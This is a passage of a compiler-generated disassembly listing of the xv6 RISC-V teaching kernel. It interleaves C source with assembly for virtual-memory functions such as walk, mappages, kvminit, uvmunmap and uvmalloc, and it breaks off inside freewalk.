virtio_disk_init(); // emulated hard disk 80000fb4: 00005097 auipc ra,0x5 80000fb8: d24080e7 jalr -732(ra) # 80005cd8 <virtio_disk_init> userinit(); // first user process 80000fbc: 00001097 auipc ra,0x1 80000fc0: cec080e7 jalr -788(ra) # 80001ca8 <userinit> __sync_synchronize(); 80000fc4: 0ff0000f fence started = 1; 80000fc8: 4785 li a5,1 80000fca: 00008717 auipc a4,0x8 80000fce: 04f72123 sw a5,66(a4) # 8000900c <started> 80000fd2: b789 j 80000f14 <main+0x56> 0000000080000fd4 <kvminithart>: // Switch h/w page table register to the kernel's page table, // and enable paging. void kvminithart() { 80000fd4: 1141 addi sp,sp,-16 80000fd6: e422 sd s0,8(sp) 80000fd8: 0800 addi s0,sp,16 w_satp(MAKE_SATP(kernel_pagetable)); 80000fda: 00008797 auipc a5,0x8 80000fde: 0367b783 ld a5,54(a5) # 80009010 <kernel_pagetable> 80000fe2: 83b1 srli a5,a5,0xc 80000fe4: 577d li a4,-1 80000fe6: 177e slli a4,a4,0x3f 80000fe8: 8fd9 or a5,a5,a4 asm volatile("csrw satp, %0" : : "r" (x)); 80000fea: 18079073 csrw satp,a5 // flush the TLB. static inline void sfence_vma() { // the zero, zero means flush all TLB entries. asm volatile("sfence.vma zero, zero"); 80000fee: 12000073 sfence.vma sfence_vma(); } 80000ff2: 6422 ld s0,8(sp) 80000ff4: 0141 addi sp,sp,16 80000ff6: 8082 ret 0000000080000ff8 <walk>: // 21..29 -- 9 bits of level-1 index. // 12..20 -- 9 bits of level-0 index. // 0..11 -- 12 bits of byte offset within the page. pte_t * walk(pagetable_t pagetable, uint64 va, int alloc) { 80000ff8: 7139 addi sp,sp,-64 80000ffa: fc06 sd ra,56(sp) 80000ffc: f822 sd s0,48(sp) 80000ffe: f426 sd s1,40(sp) 80001000: f04a sd s2,32(sp) 80001002: ec4e sd s3,24(sp) 80001004: e852 sd s4,16(sp) 80001006: e456 sd s5,8(sp) 80001008: e05a sd s6,0(sp) 8000100a: 0080 addi s0,sp,64 8000100c: 84aa mv s1,a0 8000100e: 89ae mv s3,a1 80001010: 8ab2 mv s5,a2 if(va >= MAXVA) 80001012: 57fd li a5,-1 80001014: 83e9 srli a5,a5,0x1a 80001016: 4a79 li s4,30 panic("walk"); for(int level = 2; level > 0; level--) { 80001018: 4b31 li s6,12 if(va >= MAXVA) 8000101a: 04b7f263 bgeu a5,a1,8000105e <walk+0x66> panic("walk"); 8000101e: 00007517 auipc a0,0x7 80001022: 0b250513 addi a0,a0,178 # 800080d0 <digits+0x90> 80001026: fffff097 auipc ra,0xfffff 8000102a: 522080e7 jalr 1314(ra) # 80000548 <panic> pte_t *pte = &pagetable[PX(level, va)]; if(*pte & PTE_V) { pagetable = (pagetable_t)PTE2PA(*pte); } else { if(!alloc || (pagetable = (pde_t*)kalloc()) == 0) 8000102e: 060a8663 beqz s5,8000109a <walk+0xa2> 80001032: 00000097 auipc ra,0x0 80001036: aee080e7 jalr -1298(ra) # 80000b20 <kalloc> 8000103a: 84aa mv s1,a0 8000103c: c529 beqz a0,80001086 <walk+0x8e> return 0; memset(pagetable, 0, PGSIZE); 8000103e: 6605 lui a2,0x1 80001040: 4581 li a1,0 80001042: 00000097 auipc ra,0x0 80001046: cca080e7 jalr -822(ra) # 80000d0c <memset> *pte = PA2PTE(pagetable) | PTE_V; 8000104a: 00c4d793 srli a5,s1,0xc 8000104e: 07aa slli a5,a5,0xa 80001050: 0017e793 ori a5,a5,1 80001054: 00f93023 sd a5,0(s2) for(int level = 2; level > 0; level--) { 80001058: 3a5d addiw s4,s4,-9 8000105a: 036a0063 beq s4,s6,8000107a <walk+0x82> pte_t *pte = &pagetable[PX(level, va)]; 8000105e: 0149d933 srl s2,s3,s4 80001062: 1ff97913 andi s2,s2,511 80001066: 090e slli s2,s2,0x3 80001068: 9926 add s2,s2,s1 if(*pte & PTE_V) { 8000106a: 00093483 ld s1,0(s2) 8000106e: 0014f793 andi a5,s1,1 80001072: dfd5 beqz a5,8000102e <walk+0x36> pagetable = (pagetable_t)PTE2PA(*pte); 80001074: 80a9 srli s1,s1,0xa 80001076: 04b2 slli s1,s1,0xc 80001078: b7c5 j 80001058 <walk+0x60> } } return &pagetable[PX(0, va)]; 8000107a: 00c9d513 srli a0,s3,0xc 8000107e: 1ff57513 andi a0,a0,511 80001082: 050e slli a0,a0,0x3 80001084: 9526 add a0,a0,s1 } 80001086: 70e2 ld ra,56(sp) 80001088: 7442 ld s0,48(sp) 8000108a: 74a2 ld s1,40(sp) 8000108c: 7902 ld s2,32(sp) 8000108e: 69e2 ld s3,24(sp) 80001090: 6a42 ld s4,16(sp) 80001092: 6aa2 ld s5,8(sp) 80001094: 6b02 ld s6,0(sp) 80001096: 6121 addi sp,sp,64 80001098: 8082 ret return 0; 8000109a: 4501 li a0,0 8000109c: b7ed j 80001086 <walk+0x8e> 000000008000109e <walkaddr>: walkaddr(pagetable_t pagetable, uint64 va) { pte_t *pte; uint64 pa; if(va >= MAXVA) 8000109e: 57fd li a5,-1 800010a0: 83e9 srli a5,a5,0x1a 800010a2: 00b7f463 bgeu a5,a1,800010aa <walkaddr+0xc> return 0; 800010a6: 4501 li a0,0 return 0; if((*pte & PTE_U) == 0) return 0; pa = PTE2PA(*pte); return pa; } 800010a8: 8082 ret { 800010aa: 1141 addi sp,sp,-16 800010ac: e406 sd ra,8(sp) 800010ae: e022 sd s0,0(sp) 800010b0: 0800 addi s0,sp,16 pte = walk(pagetable, va, 0); 800010b2: 4601 li a2,0 800010b4: 00000097 auipc ra,0x0 800010b8: f44080e7 jalr -188(ra) # 80000ff8 <walk> if(pte == 0) 800010bc: c105 beqz a0,800010dc <walkaddr+0x3e> if((*pte & PTE_V) == 0) 800010be: 611c ld a5,0(a0) if((*pte & PTE_U) == 0) 800010c0: 0117f693 andi a3,a5,17 800010c4: 4745 li a4,17 return 0; 800010c6: 4501 li a0,0 if((*pte & PTE_U) == 0) 800010c8: 00e68663 beq a3,a4,800010d4 <walkaddr+0x36> } 800010cc: 60a2 ld ra,8(sp) 800010ce: 6402 ld s0,0(sp) 800010d0: 0141 addi sp,sp,16 800010d2: 8082 ret pa = PTE2PA(*pte); 800010d4: 00a7d513 srli a0,a5,0xa 800010d8: 0532 slli a0,a0,0xc return pa; 800010da: bfcd j 800010cc <walkaddr+0x2e> return 0; 800010dc: 4501 li a0,0 800010de: b7fd j 800010cc <walkaddr+0x2e> 00000000800010e0 <kvmpa>: // a physical address. only needed for // addresses on the stack. // assumes va is page aligned. uint64 kvmpa(uint64 va) { 800010e0: 1101 addi sp,sp,-32 800010e2: ec06 sd ra,24(sp) 800010e4: e822 sd s0,16(sp) 800010e6: e426 sd s1,8(sp) 800010e8: 1000 addi s0,sp,32 800010ea: 85aa mv a1,a0 uint64 off = va % PGSIZE; 800010ec: 1552 slli a0,a0,0x34 800010ee: 03455493 srli s1,a0,0x34 pte_t *pte; uint64 pa; pte = walk(kernel_pagetable, va, 0); 800010f2: 4601 li a2,0 800010f4: 00008517 auipc a0,0x8 800010f8: f1c53503 ld a0,-228(a0) # 80009010 <kernel_pagetable> 800010fc: 00000097 auipc ra,0x0 80001100: efc080e7 jalr -260(ra) # 80000ff8 <walk> if(pte == 0) 80001104: cd09 beqz a0,8000111e <kvmpa+0x3e> panic("kvmpa"); if((*pte & PTE_V) == 0) 80001106: 6108 ld a0,0(a0) 80001108: 00157793 andi a5,a0,1 8000110c: c38d beqz a5,8000112e <kvmpa+0x4e> panic("kvmpa"); pa = PTE2PA(*pte); 8000110e: 8129 srli a0,a0,0xa 80001110: 0532 slli a0,a0,0xc return pa+off; } 80001112: 9526 add a0,a0,s1 80001114: 60e2 ld ra,24(sp) 80001116: 6442 ld s0,16(sp) 80001118: 64a2 ld s1,8(sp) 8000111a: 6105 addi sp,sp,32 8000111c: 8082 ret panic("kvmpa"); 8000111e: 00007517 auipc a0,0x7 80001122: fba50513 addi a0,a0,-70 # 800080d8 <digits+0x98> 80001126: fffff097 auipc ra,0xfffff 8000112a: 422080e7 jalr 1058(ra) # 80000548 <panic> panic("kvmpa"); 8000112e: 00007517 auipc a0,0x7 80001132: faa50513 addi a0,a0,-86 # 800080d8 <digits+0x98> 80001136: fffff097 auipc ra,0xfffff 8000113a: 412080e7 jalr 1042(ra) # 80000548 <panic> 000000008000113e <mappages>: // physical addresses starting at pa. va and size might not // be page-aligned. Returns 0 on success, -1 if walk() couldn't // allocate a needed page-table page. int mappages(pagetable_t pagetable, uint64 va, uint64 size, uint64 pa, int perm) { 8000113e: 715d addi sp,sp,-80 80001140: e486 sd ra,72(sp) 80001142: e0a2 sd s0,64(sp) 80001144: fc26 sd s1,56(sp) 80001146: f84a sd s2,48(sp) 80001148: f44e sd s3,40(sp) 8000114a: f052 sd s4,32(sp) 8000114c: ec56 sd s5,24(sp) 8000114e: e85a sd s6,16(sp) 80001150: e45e sd s7,8(sp) 80001152: 0880 addi s0,sp,80 80001154: 8aaa mv s5,a0 80001156: 8b3a mv s6,a4 uint64 a, last; pte_t *pte; a = PGROUNDDOWN(va); 80001158: 777d lui a4,0xfffff 8000115a: 00e5f7b3 and a5,a1,a4 last = PGROUNDDOWN(va + size - 1); 8000115e: 167d addi a2,a2,-1 80001160: 00b609b3 add s3,a2,a1 80001164: 00e9f9b3 and s3,s3,a4 a = PGROUNDDOWN(va); 80001168: 893e mv s2,a5 8000116a: 40f68a33 sub s4,a3,a5 if(*pte & PTE_V) panic("remap"); *pte = PA2PTE(pa) | perm | PTE_V; if(a == last) break; a += PGSIZE; 8000116e: 6b85 lui s7,0x1 80001170: 012a04b3 add s1,s4,s2 if((pte = walk(pagetable, a, 1)) == 0) 80001174: 4605 li a2,1 80001176: 85ca mv a1,s2 80001178: 8556 mv a0,s5 8000117a: 00000097 auipc ra,0x0 8000117e: e7e080e7 jalr -386(ra) # 80000ff8 <walk> 80001182: c51d beqz a0,800011b0 <mappages+0x72> if(*pte & PTE_V) 80001184: 611c ld a5,0(a0) 80001186: 8b85 andi a5,a5,1 80001188: ef81 bnez a5,800011a0 <mappages+0x62> *pte = PA2PTE(pa) | perm | PTE_V; 8000118a: 80b1 srli s1,s1,0xc 8000118c: 04aa slli s1,s1,0xa 8000118e: 0164e4b3 or s1,s1,s6 80001192: 0014e493 ori s1,s1,1 80001196: e104 sd s1,0(a0) if(a == last) 80001198: 03390863 beq s2,s3,800011c8 <mappages+0x8a> a += PGSIZE; 8000119c: 995e add s2,s2,s7 if((pte = walk(pagetable, a, 1)) == 0) 8000119e: bfc9 j 80001170 <mappages+0x32> panic("remap"); 800011a0: 00007517 auipc a0,0x7 800011a4: f4050513 addi a0,a0,-192 # 800080e0 <digits+0xa0> 800011a8: fffff097 auipc ra,0xfffff 800011ac: 3a0080e7 jalr 928(ra) # 80000548 <panic> return -1; 800011b0: 557d li a0,-1 pa += PGSIZE; } return 0; } 800011b2: 60a6 ld ra,72(sp) 800011b4: 6406 ld s0,64(sp) 800011b6: 74e2 ld s1,56(sp) 800011b8: 7942 ld s2,48(sp) 800011ba: 79a2 ld s3,40(sp) 800011bc: 7a02 ld s4,32(sp) 800011be: 6ae2 ld s5,24(sp) 800011c0: 6b42 ld s6,16(sp) 800011c2: 6ba2 ld s7,8(sp) 800011c4: 6161 addi sp,sp,80 800011c6: 8082 ret return 0; 800011c8: 4501 li a0,0 800011ca: b7e5 j 800011b2 <mappages+0x74> 00000000800011cc <kvmmap>: { 800011cc: 1141 addi sp,sp,-16 800011ce: e406 sd ra,8(sp) 800011d0: e022 sd s0,0(sp) 800011d2: 0800 addi s0,sp,16 800011d4: 8736 mv a4,a3 if(mappages(kernel_pagetable, va, sz, pa, perm) != 0) 800011d6: 86ae mv a3,a1 800011d8: 85aa mv a1,a0 800011da: 00008517 auipc a0,0x8 800011de: e3653503 ld a0,-458(a0) # 80009010 <kernel_pagetable> 800011e2: 00000097 auipc ra,0x0 800011e6: f5c080e7 jalr -164(ra) # 8000113e <mappages> 800011ea: e509 bnez a0,800011f4 <kvmmap+0x28> } 800011ec: 60a2 ld ra,8(sp) 800011ee: 6402 ld s0,0(sp) 800011f0: 0141 addi sp,sp,16 800011f2: 8082 ret panic("kvmmap"); 800011f4: 00007517 auipc a0,0x7 800011f8: ef450513 addi a0,a0,-268 # 800080e8 <digits+0xa8> 800011fc: fffff097 auipc ra,0xfffff 80001200: 34c080e7 jalr 844(ra) # 80000548 <panic> 0000000080001204 <kvminit>: { 80001204: 1101 addi sp,sp,-32 80001206: ec06 sd ra,24(sp) 80001208: e822 sd s0,16(sp) 8000120a: e426 sd s1,8(sp) 8000120c: 1000 addi s0,sp,32 kernel_pagetable = (pagetable_t) kalloc(); 8000120e: 00000097 auipc ra,0x0 80001212: 912080e7 jalr -1774(ra) # 80000b20 <kalloc> 80001216: 00008797 auipc a5,0x8 8000121a: dea7bd23 sd a0,-518(a5) # 80009010 <kernel_pagetable> memset(kernel_pagetable, 0, PGSIZE); 8000121e: 6605 lui a2,0x1 80001220: 4581 li a1,0 80001222: 00000097 auipc ra,0x0 80001226: aea080e7 jalr -1302(ra) # 80000d0c <memset> kvmmap(UART0, UART0, PGSIZE, PTE_R | PTE_W); 8000122a: 4699 li a3,6 8000122c: 6605 lui a2,0x1 8000122e: 100005b7 lui a1,0x10000 80001232: 10000537 lui a0,0x10000 80001236: 00000097 auipc ra,0x0 8000123a: f96080e7 jalr -106(ra) # 800011cc <kvmmap> kvmmap(VIRTIO0, VIRTIO0, PGSIZE, PTE_R | PTE_W); 8000123e: 4699 li a3,6 80001240: 6605 lui a2,0x1 80001242: 100015b7 lui a1,0x10001 80001246: 10001537 lui a0,0x10001 8000124a: 00000097 auipc ra,0x0 8000124e: f82080e7 jalr -126(ra) # 800011cc <kvmmap> kvmmap(CLINT, CLINT, 0x10000, PTE_R | PTE_W); 80001252: 4699 li a3,6 80001254: 6641 lui a2,0x10 80001256: 020005b7 lui a1,0x2000 8000125a: 02000537 lui a0,0x2000 8000125e: 00000097 auipc ra,0x0 80001262: f6e080e7 jalr -146(ra) # 800011cc <kvmmap> kvmmap(PLIC, PLIC, 0x400000, PTE_R | PTE_W); 80001266: 4699 li a3,6 80001268: 00400637 lui a2,0x400 8000126c: 0c0005b7 lui a1,0xc000 80001270: 0c000537 lui a0,0xc000 80001274: 00000097 auipc ra,0x0 80001278: f58080e7 jalr -168(ra) # 800011cc <kvmmap> kvmmap(KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_X); 8000127c: 00007497 auipc s1,0x7 80001280: d8448493 addi s1,s1,-636 # 80008000 <etext> 80001284: 46a9 li a3,10 80001286: 80007617 auipc a2,0x80007 8000128a: d7a60613 addi a2,a2,-646 # 8000 <_entry-0x7fff8000> 8000128e: 4585 li a1,1 80001290: 05fe slli a1,a1,0x1f 80001292: 852e mv a0,a1 80001294: 00000097 auipc ra,0x0 80001298: f38080e7 jalr -200(ra) # 800011cc <kvmmap> kvmmap((uint64)etext, (uint64)etext, PHYSTOP-(uint64)etext, PTE_R | PTE_W); 8000129c: 4699 li a3,6 8000129e: 4645 li a2,17 800012a0: 066e slli a2,a2,0x1b 800012a2: 8e05 sub a2,a2,s1 800012a4: 85a6 mv a1,s1 800012a6: 8526 mv a0,s1 800012a8: 00000097 auipc ra,0x0 800012ac: f24080e7 jalr -220(ra) # 800011cc <kvmmap> kvmmap(TRAMPOLINE, (uint64)trampoline, PGSIZE, PTE_R | PTE_X); 800012b0: 46a9 li a3,10 800012b2: 6605 lui a2,0x1 800012b4: 00006597 auipc a1,0x6 800012b8: d4c58593 addi a1,a1,-692 # 80007000 <_trampoline> 800012bc: 04000537 lui a0,0x4000 800012c0: 157d addi a0,a0,-1 800012c2: 0532 slli a0,a0,0xc 800012c4: 00000097 auipc ra,0x0 800012c8: f08080e7 jalr -248(ra) # 800011cc <kvmmap> } 800012cc: 60e2 ld ra,24(sp) 800012ce: 6442 ld s0,16(sp) 800012d0: 64a2 ld s1,8(sp) 800012d2: 6105 addi sp,sp,32 800012d4: 8082 ret 00000000800012d6 <uvmunmap>: // Remove npages of mappings starting from va. va must be // page-aligned. The mappings must exist. // Optionally free the physical memory. void uvmunmap(pagetable_t pagetable, uint64 va, uint64 npages, int do_free) { 800012d6: 715d addi sp,sp,-80 800012d8: e486 sd ra,72(sp) 800012da: e0a2 sd s0,64(sp) 800012dc: fc26 sd s1,56(sp) 800012de: f84a sd s2,48(sp) 800012e0: f44e sd s3,40(sp) 800012e2: f052 sd s4,32(sp) 800012e4: ec56 sd s5,24(sp) 800012e6: e85a sd s6,16(sp) 800012e8: e45e sd s7,8(sp) 800012ea: 0880 addi s0,sp,80 uint64 a; pte_t *pte; if((va % PGSIZE) != 0) 800012ec: 03459793 slli a5,a1,0x34 800012f0: e795 bnez a5,8000131c <uvmunmap+0x46> 800012f2: 8a2a mv s4,a0 800012f4: 892e mv s2,a1 800012f6: 8ab6 mv s5,a3 panic("uvmunmap: not aligned"); for(a = va; a < va + npages*PGSIZE; a += PGSIZE){ 800012f8: 0632 slli a2,a2,0xc 800012fa: 00b609b3 add s3,a2,a1 if((pte = walk(pagetable, a, 0)) == 0) panic("uvmunmap: walk"); if((*pte & PTE_V) == 0) panic("uvmunmap: not mapped"); if(PTE_FLAGS(*pte) == PTE_V) 800012fe: 4b85 li s7,1 for(a = va; a < va + npages*PGSIZE; a += PGSIZE){ 80001300: 6b05 lui s6,0x1 80001302: 0735e863 bltu a1,s3,80001372 <uvmunmap+0x9c> uint64 pa = PTE2PA(*pte); kfree((void*)pa); } *pte = 0; } } 80001306: 60a6 ld ra,72(sp) 80001308: 6406 ld s0,64(sp) 8000130a: 74e2 ld s1,56(sp) 8000130c: 7942 ld s2,48(sp) 8000130e: 79a2 ld s3,40(sp) 80001310: 7a02 ld s4,32(sp) 80001312: 6ae2 ld s5,24(sp) 80001314: 6b42 ld s6,16(sp) 80001316: 6ba2 ld s7,8(sp) 80001318: 6161 addi sp,sp,80 8000131a: 8082 ret panic("uvmunmap: not aligned"); 8000131c: 00007517 auipc a0,0x7 80001320: dd450513 addi a0,a0,-556 # 800080f0 <digits+0xb0> 80001324: fffff097 auipc ra,0xfffff 80001328: 224080e7 jalr 548(ra) # 80000548 <panic> panic("uvmunmap: walk"); 8000132c: 00007517 auipc a0,0x7 80001330: ddc50513 addi a0,a0,-548 # 80008108 <digits+0xc8> 80001334: fffff097 auipc ra,0xfffff 80001338: 214080e7 jalr 532(ra) # 80000548 <panic> panic("uvmunmap: not mapped"); 8000133c: 00007517 auipc a0,0x7 80001340: ddc50513 addi a0,a0,-548 # 80008118 <digits+0xd8> 80001344: fffff097 auipc ra,0xfffff 80001348: 204080e7 jalr 516(ra) # 80000548 <panic> panic("uvmunmap: not a leaf"); 8000134c: 00007517 auipc a0,0x7 80001350: de450513 addi a0,a0,-540 # 80008130 <digits+0xf0> 80001354: fffff097 auipc ra,0xfffff 80001358: 1f4080e7 jalr 500(ra) # 80000548 <panic> uint64 pa = PTE2PA(*pte); 8000135c: 8129 srli a0,a0,0xa kfree((void*)pa); 8000135e: 0532 slli a0,a0,0xc 80001360: fffff097 auipc ra,0xfffff 80001364: 6c4080e7 jalr 1732(ra) # 80000a24 <kfree> *pte = 0; 80001368: 0004b023 sd zero,0(s1) for(a = va; a < va + npages*PGSIZE; a += PGSIZE){ 8000136c: 995a add s2,s2,s6 8000136e: f9397ce3 bgeu s2,s3,80001306 <uvmunmap+0x30> if((pte = walk(pagetable, a, 0)) == 0) 80001372: 4601 li a2,0 80001374: 85ca mv a1,s2 80001376: 8552 mv a0,s4 80001378: 00000097 auipc ra,0x0 8000137c: c80080e7 jalr -896(ra) # 80000ff8 <walk> 80001380: 84aa mv s1,a0 80001382: d54d beqz a0,8000132c <uvmunmap+0x56> if((*pte & PTE_V) == 0) 80001384: 6108 ld a0,0(a0) 80001386: 00157793 andi a5,a0,1 8000138a: dbcd beqz a5,8000133c <uvmunmap+0x66> if(PTE_FLAGS(*pte) == PTE_V) 8000138c: 3ff57793 andi a5,a0,1023 80001390: fb778ee3 beq a5,s7,8000134c <uvmunmap+0x76> if(do_free){ 80001394: fc0a8ae3 beqz s5,80001368 <uvmunmap+0x92> 80001398: b7d1 j 8000135c <uvmunmap+0x86> 000000008000139a <uvmcreate>: // create an empty user page table. // returns 0 if out of memory. pagetable_t uvmcreate() { 8000139a: 1101 addi sp,sp,-32 8000139c: ec06 sd ra,24(sp) 8000139e: e822 sd s0,16(sp) 800013a0: e426 sd s1,8(sp) 800013a2: 1000 addi s0,sp,32 pagetable_t pagetable; pagetable = (pagetable_t) kalloc(); 800013a4: fffff097 auipc ra,0xfffff 800013a8: 77c080e7 jalr 1916(ra) # 80000b20 <kalloc> 800013ac: 84aa mv s1,a0 if(pagetable == 0) 800013ae: c519 beqz a0,800013bc <uvmcreate+0x22> return 0; memset(pagetable, 0, PGSIZE); 800013b0: 6605 lui a2,0x1 800013b2: 4581 li a1,0 800013b4: 00000097 auipc ra,0x0 800013b8: 958080e7 jalr -1704(ra) # 80000d0c <memset> return pagetable; } 800013bc: 8526 mv a0,s1 800013be: 60e2 ld ra,24(sp) 800013c0: 6442 ld s0,16(sp) 800013c2: 64a2 ld s1,8(sp) 800013c4: 6105 addi sp,sp,32 800013c6: 8082 ret 00000000800013c8 <uvminit>: // Load the user initcode into address 0 of pagetable, // for the very first process. // sz must be less than a page. void uvminit(pagetable_t pagetable, uchar *src, uint sz) { 800013c8: 7179 addi sp,sp,-48 800013ca: f406 sd ra,40(sp) 800013cc: f022 sd s0,32(sp) 800013ce: ec26 sd s1,24(sp) 800013d0: e84a sd s2,16(sp) 800013d2: e44e sd s3,8(sp) 800013d4: e052 sd s4,0(sp) 800013d6: 1800 addi s0,sp,48 char *mem; if(sz >= PGSIZE) 800013d8: 6785 lui a5,0x1 800013da: 04f67863 bgeu a2,a5,8000142a <uvminit+0x62> 800013de: 8a2a mv s4,a0 800013e0: 89ae mv s3,a1 800013e2: 84b2 mv s1,a2 panic("inituvm: more than a page"); mem = kalloc(); 800013e4: fffff097 auipc ra,0xfffff 800013e8: 73c080e7 jalr 1852(ra) # 80000b20 <kalloc> 800013ec: 892a mv s2,a0 memset(mem, 0, PGSIZE); 800013ee: 6605 lui a2,0x1 800013f0: 4581 li a1,0 800013f2: 00000097 auipc ra,0x0 800013f6: 91a080e7 jalr -1766(ra) # 80000d0c <memset> mappages(pagetable, 0, PGSIZE, (uint64)mem, PTE_W|PTE_R|PTE_X|PTE_U); 800013fa: 4779 li a4,30 800013fc: 86ca mv a3,s2 800013fe: 6605 lui a2,0x1 80001400: 4581 li a1,0 80001402: 8552 mv a0,s4 80001404: 00000097 auipc ra,0x0 80001408: d3a080e7 jalr -710(ra) # 8000113e <mappages> memmove(mem, src, sz); 8000140c: 8626 mv a2,s1 8000140e: 85ce mv a1,s3 80001410: 854a mv a0,s2 80001412: 00000097 auipc ra,0x0 80001416: 95a080e7 jalr -1702(ra) # 80000d6c <memmove> } 8000141a: 70a2 ld ra,40(sp) 8000141c: 7402 ld s0,32(sp) 8000141e: 64e2 ld s1,24(sp) 80001420: 6942 ld s2,16(sp) 80001422: 69a2 ld s3,8(sp) 80001424: 6a02 ld s4,0(sp) 80001426: 6145 addi sp,sp,48 80001428: 8082 ret panic("inituvm: more than a page"); 8000142a: 00007517 auipc a0,0x7 8000142e: d1e50513 addi a0,a0,-738 # 80008148 <digits+0x108> 80001432: fffff097 auipc ra,0xfffff 80001436: 116080e7 jalr 278(ra) # 80000548 <panic> 000000008000143a <uvmdealloc>: // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. uint64 uvmdealloc(pagetable_t pagetable, uint64 oldsz, uint64 newsz) { 8000143a: 1101 addi sp,sp,-32 8000143c: ec06 sd ra,24(sp) 8000143e: e822 sd s0,16(sp) 80001440: e426 sd s1,8(sp) 80001442: 1000 addi s0,sp,32 if(newsz >= oldsz) return oldsz; 80001444: 84ae mv s1,a1 if(newsz >= oldsz) 80001446: 00b67d63 bgeu a2,a1,80001460 <uvmdealloc+0x26> 8000144a: 84b2 mv s1,a2 if(PGROUNDUP(newsz) < PGROUNDUP(oldsz)){ 8000144c: 6785 lui a5,0x1 8000144e: 17fd addi a5,a5,-1 80001450: 00f60733 add a4,a2,a5 80001454: 767d lui a2,0xfffff 80001456: 8f71 and a4,a4,a2 80001458: 97ae add a5,a5,a1 8000145a: 8ff1 and a5,a5,a2 8000145c: 00f76863 bltu a4,a5,8000146c <uvmdealloc+0x32> int npages = (PGROUNDUP(oldsz) - PGROUNDUP(newsz)) / PGSIZE; uvmunmap(pagetable, PGROUNDUP(newsz), npages, 1); } return newsz; } 80001460: 8526 mv a0,s1 80001462: 60e2 ld ra,24(sp) 80001464: 6442 ld s0,16(sp) 80001466: 64a2 ld s1,8(sp) 80001468: 6105 addi sp,sp,32 8000146a: 8082 ret int npages = (PGROUNDUP(oldsz) - PGROUNDUP(newsz)) / PGSIZE; 8000146c: 8f99 sub a5,a5,a4 8000146e: 83b1 srli a5,a5,0xc uvmunmap(pagetable, PGROUNDUP(newsz), npages, 1); 80001470: 4685 li a3,1 80001472: 0007861b sext.w a2,a5 80001476: 85ba mv a1,a4 80001478: 00000097 auipc ra,0x0 8000147c: e5e080e7 jalr -418(ra) # 800012d6 <uvmunmap> 80001480: b7c5 j 80001460 <uvmdealloc+0x26> 0000000080001482 <uvmalloc>: if(newsz < oldsz) 80001482: 0ab66163 bltu a2,a1,80001524 <uvmalloc+0xa2> { 80001486: 7139 addi sp,sp,-64 80001488: fc06 sd ra,56(sp) 8000148a: f822 sd s0,48(sp) 8000148c: f426 sd s1,40(sp) 8000148e: f04a sd s2,32(sp) 80001490: ec4e sd s3,24(sp) 80001492: e852 sd s4,16(sp) 80001494: e456 sd s5,8(sp) 80001496: 0080 addi s0,sp,64 80001498: 8aaa mv s5,a0 8000149a: 8a32 mv s4,a2 oldsz = PGROUNDUP(oldsz); 8000149c: 6985 lui s3,0x1 8000149e: 19fd addi s3,s3,-1 800014a0: 95ce add a1,a1,s3 800014a2: 79fd lui s3,0xfffff 800014a4: 0135f9b3 and s3,a1,s3 for(a = oldsz; a < newsz; a += PGSIZE){ 800014a8: 08c9f063 bgeu s3,a2,80001528 <uvmalloc+0xa6> 800014ac: 894e mv s2,s3 mem = kalloc(); 800014ae: fffff097 auipc ra,0xfffff 800014b2: 672080e7 jalr 1650(ra) # 80000b20 <kalloc> 800014b6: 84aa mv s1,a0 if(mem == 0){ 800014b8: c51d beqz a0,800014e6 <uvmalloc+0x64> memset(mem, 0, PGSIZE); 800014ba: 6605 lui a2,0x1 800014bc: 4581 li a1,0 800014be: 00000097 auipc ra,0x0 800014c2: 84e080e7 jalr -1970(ra) # 80000d0c <memset> if(mappages(pagetable, a, PGSIZE, (uint64)mem, PTE_W|PTE_X|PTE_R|PTE_U) != 0){ 800014c6: 4779 li a4,30 800014c8: 86a6 mv a3,s1 800014ca: 6605 lui a2,0x1 800014cc: 85ca mv a1,s2 800014ce: 8556 mv a0,s5 800014d0: 00000097 auipc ra,0x0 800014d4: c6e080e7 jalr -914(ra) # 8000113e <mappages> 800014d8: e905 bnez a0,80001508 <uvmalloc+0x86> for(a = oldsz; a < newsz; a += PGSIZE){ 800014da: 6785 lui a5,0x1 800014dc: 993e add s2,s2,a5 800014de: fd4968e3 bltu s2,s4,800014ae <uvmalloc+0x2c> return newsz; 800014e2: 8552 mv a0,s4 800014e4: a809 j 800014f6 <uvmalloc+0x74> uvmdealloc(pagetable, a, oldsz); 800014e6: 864e mv a2,s3 800014e8: 85ca mv a1,s2 800014ea: 8556 mv a0,s5 800014ec: 00000097 auipc ra,0x0 800014f0: f4e080e7 jalr -178(ra) # 8000143a <uvmdealloc> return 0; 800014f4: 4501 li a0,0 } 800014f6: 70e2 ld ra,56(sp) 800014f8: 7442 ld s0,48(sp) 800014fa: 74a2 ld s1,40(sp) 800014fc: 7902 ld s2,32(sp) 800014fe: 69e2 ld s3,24(sp) 80001500: 6a42 ld s4,16(sp) 80001502: 6aa2 ld s5,8(sp) 80001504: 6121 addi sp,sp,64 80001506: 8082 ret kfree(mem); 80001508: 8526 mv a0,s1 8000150a: fffff097 auipc ra,0xfffff 8000150e: 51a080e7 jalr 1306(ra) # 80000a24 <kfree> uvmdealloc(pagetable, a, oldsz); 80001512: 864e mv a2,s3 80001514: 85ca mv a1,s2 80001516: 8556 mv a0,s5 80001518: 00000097 auipc ra,0x0 8000151c: f22080e7 jalr -222(ra) # 8000143a <uvmdealloc> return 0; 80001520: 4501 li a0,0 80001522: bfd1 j 800014f6 <uvmalloc+0x74> return oldsz; 80001524: 852e mv a0,a1 } 80001526: 8082 ret return newsz; 80001528: 8532 mv a0,a2 8000152a: b7f1 j 800014f6 <uvmalloc+0x74> 000000008000152c <freewalk>: // Recursively free page-table pages. // All leaf mappings must already have been removed. void freewalk(pagetable_t pagetable) { 8000152c: 7179 addi sp,sp,-48 8000152e: f406 sd ra,40(sp) 80001530: f022 sd s0,32(sp) 80001532: ec26 sd s1,24(sp) 80001534: e84a sd s2,16(sp) 80001536: e44e sd s3,8(sp) 80001538: e052 sd s4,0(sp) 8000153a: 1800 addi s0,sp,48 8000153c: 8a2a mv s4,a0 // there are 2^9 = 512 PTEs in a page table. for(int i = 0; i < 512; i++){ 8000153e: 84aa mv s1,a0 80001540: 6905 lui s2,0x1 80001542: 992a add s2,s2,a0 pte_t pte = pagetable[i]; if((pte & PTE_V) && (pte & (PTE_R|PTE_W|PTE_X)) == 0){ 80001544: 4985 li s3,1 80001546: a821 j 8000155e <freewalk+0x32> // this PTE points to a lower-level page table. uint64 child = 